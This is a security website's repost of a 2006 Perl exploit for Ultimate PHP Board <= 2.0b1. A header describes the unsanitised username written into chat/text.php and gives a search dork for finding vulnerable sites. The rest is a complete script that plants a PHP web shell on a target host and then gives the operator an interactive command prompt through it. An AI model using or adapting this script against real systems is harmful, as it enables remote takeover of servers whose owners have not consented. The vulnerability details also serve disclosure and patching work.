首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Ultimate PHP Board <= 2.0b1 (chat/login.php) Code Execution Exploit
来源:nuffsaid[at]newbslove.us 作者:nuffsaid 发布时间:2006-12-25  

#!/usr/bin/perl
# +-------------------------------------------------------------------------------------------
# + Ultimate PHP Board <= 2.0b1 (chat/login.php) Remote Code Execution Vulnerability
# +-------------------------------------------------------------------------------------------
# + Affected Software .: Ultimate PHP Board (myUPB) <= 2.0b1
# + Vendor ............: http://www.myupb.com/
# + Download ..........: http://fileserv.myupb.com/upb2.0B1.zip
# + Description .......: "Ultimate PHP Board is a free discussion forum that can be used as a free alternative to UBB or vBulletin"
# + Dork ..............: "Powered by UPB"
# + Class .............: Remote Code Execution
# + Risk ..............: High (Remote Code Execution)
# + Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
# +-------------------------------------------------------------------------------------------
# + Details:
# + Ultimate PHP Board chat/login.php does not sanatize the $username ($_GET["username"])
# + variable before writing it to chat/text.php on line 28, arbitrary php code can be written
# + then executed by visiting chat/text.php.
# +
# + Vulnerable Code:
# + chat/login.php, line(s) 23-28:
# + -> 23: $filename = "text.php";
# + -> 24: $fileAr= file($filename);
# + -> 25: exec("cat /dev/null > '$filename'");
# + -> 26: $fd = fopen( $filename, "a+" );
# + -> 27: $filemessage = "<font size='$font_s' face='$font_face' color='$font_color_main'><b>$username entered at $date</b></font><br>\n";
# + -> 28: fputs($fd,$filemessage);
# +
# + Proof of Concept:
# + http://[target]/[path]/chat/login.php?option=chat&username=[code]
# + http://[target]/[path]/chat/text.php
# +-------------------------------------------------------------------------------------------

use Getopt::Long;
use URI::Escape;
use IO::Socket;

$code = "<?php if (isset(\$_GET[cmd])) passthru(\$_GET[cmd]); die; ?>";

main();

sub usage
{
print "\nUltimate PHP Board <= 2.0b1 Remote Code Execution Exploit\n";
print "nuffsaid <nuffsaid[at]newbslove.us>\n";
print "-h, --host\ttarget host\t(example.com)\n";
print "-d, --dir\tinstall dir\t(/forum)\n";
exit;
}

sub main
{
GetOptions ('h|host=s' => \$host,'d|dir=s' => \$dir);
usage() unless $host;
$dir = "/forum" unless $dir;
$sock = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"80")
or die "\nconnect() failed.\n";

print "\nconnected to ".$host.", sending data.\n";
$sendurl = uri_escape($code);
print $sock "GET ".$dir."/chat/login.php?option=chat&username=".$sendurl." HTTP/1.1\n";
print $sock "Host: ".$host."\n";
print $sock "Accept: */*\n";
print $sock "Connection: close\n\n";
print "\n";
print "attempted to create php shell, server response:\n\n";
while($recvd = <$sock>)
{
print " ".$recvd."";
}

while($cmd !~ "~quit")
{
print "\n\n-> ";
$cmd = <STDIN>;
if ($cmd !~ "~quit")
{
$sock = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"80")
or die "connect() failed.\n";
$sendurl = uri_escape($cmd);
print $sock "GET ".$dir."/chat/text.php?cmd=".$sendurl." HTTP/1.1\n";
print $sock "Host: ".$host."\n";
print $sock "Accept: */*\n";
print $sock "Connection: close\n\n";
print "\n";
while($recvd = <$sock>)
{
print $recvd;
}
}
}
exit;
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Newsletter MX <= 1.0.2 (ID)
·Pagetool CMS <= 1.07 (pt_up
·File Upload Manager <= 1.0.
·MTCMS <= 2.0 (admin/admin_s
·Enthrallweb ePages (actualpic.
·Ciberia Content Federator 1.0
·IXM Easy Personal FTP Server 5
·Fishyshoop <= 0.930b Remote
·DREAM FTP Server 1.0.2 (PORT)
·Rediff Bol Downloader (ActiveX
·Http explorer Web Server 1.02
·Formbankserver 1.9 (Name) Dire
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved